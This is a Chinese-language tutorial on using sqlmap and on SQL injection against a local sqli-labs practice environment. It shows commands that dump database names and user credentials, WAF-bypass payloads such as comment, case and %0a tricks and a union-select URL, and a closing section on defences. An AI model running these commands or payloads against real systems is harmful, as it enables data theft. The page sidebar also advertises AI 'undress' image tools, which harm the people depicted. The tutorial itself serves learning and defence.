目录
第一部分:Sqlmap使用
1.1 sqlmap介绍
1.2 sqlmap安装和环境搭建
1.3 sqlmap常用参数
1.4 sqlmap实战举例
第二部分:sqli注入之waf绕过
2.1 SQL注入之waf绕过方法介绍
2.2 sql注入之绕过waf实验
第三部分:sqli注入防御
3.1 sql注入防御方法
首页 运维 安全 如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

May 11, 2023 pm 06:37 PM
sqlmap sqli

第一部分:Sqlmap使用

1.1 sqlmap介绍

1. 前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.

2. sqlmap介绍

(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及
接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

官方网站: sqlmap.org 

如何分析SQLMap和SQLi注入防御

(2)#支持的数据库:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多种注入方式

#UNION query SQL injection(可联合查询注入)
#Error-based SQL injection(报错型注入)
#Boolean-based blind SQL injection(布尔型注入)
#Time-based blind SQL injection(基于时间延迟注入)
#Stacked queries SQL injection(可多语句查询注入)

1.2 sqlmap安装和环境搭建

1.sqlmap安装主要步骤

   (1)安装python环境--->sqlmap需要python环境

     python下载地址: https://www.python.org/downloads/release/python-2715/)

如何分析SQLMap和SQLi注入防御

   sqlmap跟Python2.X版本兼容比较好.(python的安装步骤直接下一步即可,需要修改的就是sqlmap的安装路径,这里改成了C:\Users\Administrator\python,为了直接命令行可以进入sqlmap目录更方便操作)

   (2)Python安装不要安装到中文路径下,并把Python添加到环境变量中.

   如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

  (3)下载并安装sqlmap,修改安装目录为C:\Users\Administrator\sqlmap

   (4)测试python环境:  进入cmd命令行,输入python,如下提示则安装成功

   C:\Users\Administrator>python
   Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
   Type "help", "copyright", "credits" or "license" for more information.

    >>> exit();   

   (5)sqlmap测试:  进入cmd命令行,输入sqlmap.py  -h (注意路径)

  C:\Users\Administrator\sqlmap>sqlmap.py  -h   #查看帮助信息

如何分析SQLMap和SQLi注入防御

1.3 sqlmap常用参数

#(1)获取库名,列名,权限

  • --dbs   #获取所有数据库

  • --dbms   mysql  #指定数据库类型

  • --users   #所有数据库用户(数据库本地用户名)

  • --passwords  #获取数据库密码,(有权限才能读取)

  • --technique  #指定使用哪种注入类型

  • --current-db #当前数据库

  • --banner       #获取数据库标识

  • -D database_name --tables    #-D用于指定数据,--tables获取某个库下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns获取列字段

  • -D database_name -T table_name -C column_1,column_2 --dump
                    #-C指定字段名,--dump显示结果

  • --users   #列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

  • --current-user  #在大多数据库中可以获取到管理数据的用户。

  • --is-dba       #判断当前的用户是否为管理,是的话会返回True。

  • --privileges   #当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参  数指定你想看那个用户的权限。

  • --proxy   #指定一个代理服务器 eg: –proxy http://local:8080

#(2)指定前后缀:

  • #sqlmap不能探测很多的干扰字符,闭合时可以手工指定前缀和后缀

  • select * from users where id=((('1'))) and 1=1

  • #--prefix=PREFIX 注入payload字符串前缀

  • #–suffix=SUFFIX  注入payload字符串后缀
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
    --suffix “AND ('1'='1”

#(3)导出结果:

  • sqlmap -u “www.a.com/1.php?id=1” --file-write=”d:/1.txt”

  • --file-dest=”E:/wwwroot/web/one.php“

  • --batch 全自动

  • --start=开始条数 --stop=结束条数

  • --dump 导出数据

  • --dump-all 导出所有数据

  • --purge-output/ --purge  清空缓存目录

  • --sql-shell 反弹sqlshell,类似于sql查询分析器  默认路径.sqlmap (点sqlmap)

1.4 sqlmap实战举例

#Less-1--Less65通用语句(这几句是最常用的几个参数,必会型)

#(1)获取所有库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch

#解析:

-u 后加url,表示测试的url

--dbs表示获取所有数据库

--dbms表示指定数据库类型为mysql

--batch表示自动获取

-D  security --tables 表示获取指定数据库为security 的表名

-D  security -T  users --columns 表示获取指定数据库为security里users表中的列名

-D security -T users -C username,password --dump  #获取security库,users表中username和password字段的数据信息,--dump表示显示结果

#结果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)获取当前库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#结果:
current database:    'security'

#(3)获取当前表名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

#结果:
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+


#(4)获取当前列名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#结果:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

#(5)获取users表中username和password内容
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#结果:
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

第二部分:sqli注入之waf绕过

2.1 SQL注入之waf绕过方法介绍

说明:这里仅举例说明绕过方式,实际场景则更加复杂. 多种绕过方式可以混合使用,还可以进行编码.

1.前边知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)过滤注释符

  • #(2)过滤and或or

  • #(3)过滤select或union

  • #(4)过滤黑名单

2.过滤了and/or绕过方式有哪些?

  • #(1)mysql中大小写不敏感,都可以正确执行;===>使用大小写变形

  • #(2)mysql支持十六进制,用16进制或用URL编码;

  • #(3)用符号替换单词   ===>符号绕过 and(&&)  or(||)

  • #(4)内联注释和多行注释===>在敏感词汇中添加注释a/**/nd   双写绕过oORr

3.当然还有其他方法,我们以这几种过滤方式为例,来说说如何绕过.

   真实场景中有waf设备,waf其实也是通过过滤一些关键字来防止sql注入的.

2.2 sql注入之绕过waf实验

1.过滤了注释符(Less-23为例)

#(1)过滤注释符的原因:对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
单行注释:  --+ 或 --空格  或 #
多行注释: /* 多行注释内容 */

#(2)过滤函数preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

如何分析SQLMap和SQLi注入防御

#(3)绕过注释符:
利用注释符过滤不能成功闭合单引号等,换一种思路 利用 or '1'='1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

如何分析SQLMap和SQLi注入防御

2.过滤了and或or应该如何绕过?(Less-25为例)

(1)源码分析:可以看到把or或and替换为了空

如何分析SQLMap和SQLi注入防御

(2)操作步骤

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

3.过滤了空格应该如何绕过?(Less-26为例)

(1)用%0a来充当空格

如何分析SQLMap和SQLi注入防御

4.过滤了select/union该如何绕过?(Less-27为例)

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防护措施:

#(1)、关闭错误提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔术引号(与addslashes的效果相同):当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)会自动转为含有反斜线的转义字符
#(3)、对数据进行过滤:比如过滤掉and/or/union等常用关键词
#(4)、控制连接数据库的用户权限:每个库针对单个库设置一个管理员,不要用root权限.
#(5)、预处理和参数化(PDO):处理用户传入的参数,返回布尔值,不是单纯的对数据进行"拼接",从而避免sql注入.
#(6)、硬件防护措施(WAF等硬件)

以上是如何分析SQLMap和SQLi注入防御的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解锁Myrise中的所有内容
4 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

Sqlmap自动化注入的示例分析 Sqlmap自动化注入的示例分析 May 13, 2023 pm 03:31 PM

使用sqlmap对dvwa进行自动化注入设置dvwa级别为low打开dvwa的SQLInjection(SQLInjection(Blind)),打开浏览器调试,输入userid并submit,查看拦截到的请求。可以看到是一条GET请求,url“http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”我们直接放到salmap测试一下,使用-u命令-u"http://192.168.1.22

关于sqlmap的问题怎么分析 关于sqlmap的问题怎么分析 May 27, 2023 pm 01:07 PM

0x00概述近日在利用sqlmap注入测试时遇到一个奇怪的现象,高版本sqlmap无法检测出注入,但是低版本的可以测出注入,并且能跑出数据不是误报,经过对比测试和查看sqlmap源码,发现两个小坑。0x01情景重现注入点形式:json……”whereparams”:[{“name”:”keyWord”,”value”:”test”}]}可注入参数:valuesqlmap命令:pythonsqlmap.py-rsqlpk.txt–flush-session-vvsqlmapv1.2.11无法注入s

如何分析SQLMap和SQLi注入防御 如何分析SQLMap和SQLi注入防御 May 11, 2023 pm 06:37 PM

第一部分:Sqlmap使用1.1sqlmap介绍1.前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.2.sqlmap介绍(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。官方网站:sqlmap.org(2)#支持的数据库:MySQL,Oracle,PostgreS

SQLMAP的洋葱模式代理是怎样的 SQLMAP的洋葱模式代理是怎样的 May 26, 2023 am 09:56 AM

由于要对外网的网站进行渗透测试,但是大部分网站都有访问频率控制,一旦超过这个频率就直接禁IP。尤其是SQLMAP跑的时候,更是一片“姨妈红”,还没跑完SQLMAP就直接报错退出。于是就开始研究SQLMAP的代理模式,SQLMAP有两种代理模式,一种是普通代理(HTTP代理),一种是洋葱代理。我原本想写一下普通代理的应用,但是百度看到这篇文章已经够详细了,就不再说废话。Sqlmap扩展—外部IP代理池实现还是重点谈谈洋葱代理,一开始直接使用洋葱去做注入时候,没有报“姨妈红”,后来随着渗透的网站的增

如何实现sqlmap time-based inject的分析 如何实现sqlmap time-based inject的分析 May 12, 2023 pm 12:10 PM

1.前言sql注入如何检测的?我的回答是:在甲方做安全,sql注入检测还是比较好做的。1)报错注入检测。2)别做bool的报错注入,误报比较高。3)做基于time-based的时间注入,联系运维做上慢日志db记录,监控sleep,benchmark的关键字监控,可以在sleep的时间小数点上加上扫描任务的id号,方便定位。(p.s.这种方法能找到99%的sql注入了)因此,在做基于time-based的时间注入时,我把时间误差限制的非常苛刻。但是,@chengable在乙方做安全相关工作,基于t

sqlmap _dns注入配置方法是什么 sqlmap _dns注入配置方法是什么 May 12, 2023 pm 12:25 PM

网上针对sqlmap进行dns注入的相关文章太少,只是简单介绍了下--dns-domain参数,相关的实战文章要么就写的模糊或者一笔带过,搞的云里雾里(主要是菜,关键还没大佬带)。然后自己参考网上的方法自己重新搞了一遍。需要准备的东西,sqlmap、windows盲注一个、两个域名、一台外网服务器。某次搞事情的时候碰到一个时间盲注,碰巧是台windows的,想起dns注入的方法。在开始前我准备先用sqlmap的--sql-shell命令进行dns注入payload的测试先到burpsuite中的

sqlmap处理sign加密的思路 sqlmap处理sign加密的思路 May 14, 2023 am 11:52 AM

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字

如何使用sqlmapGetshell 如何使用sqlmapGetshell May 13, 2023 pm 06:25 PM

sqlmap读取与写入文件–file-read:从后端的数据库管理系统文件系统读取文件–file-write:编辑后端的数据库管理系统文件系统上的本地文件(从本地写入)–file-dest:后端的数据库管理系统写入文件的绝对路径(写入目标路径)可以用以上几个命令对SQL注入后的系统文件进行读写,但是前提条件是需要有可读可写的权限并且为dba权限,否则无法成功进行读写操作。以DVWA为例,在kali下搭建DVWA进行读取与写入文件操作。读取文件:查看了PHPinfo里的相关信息,使用-file-r

See all articles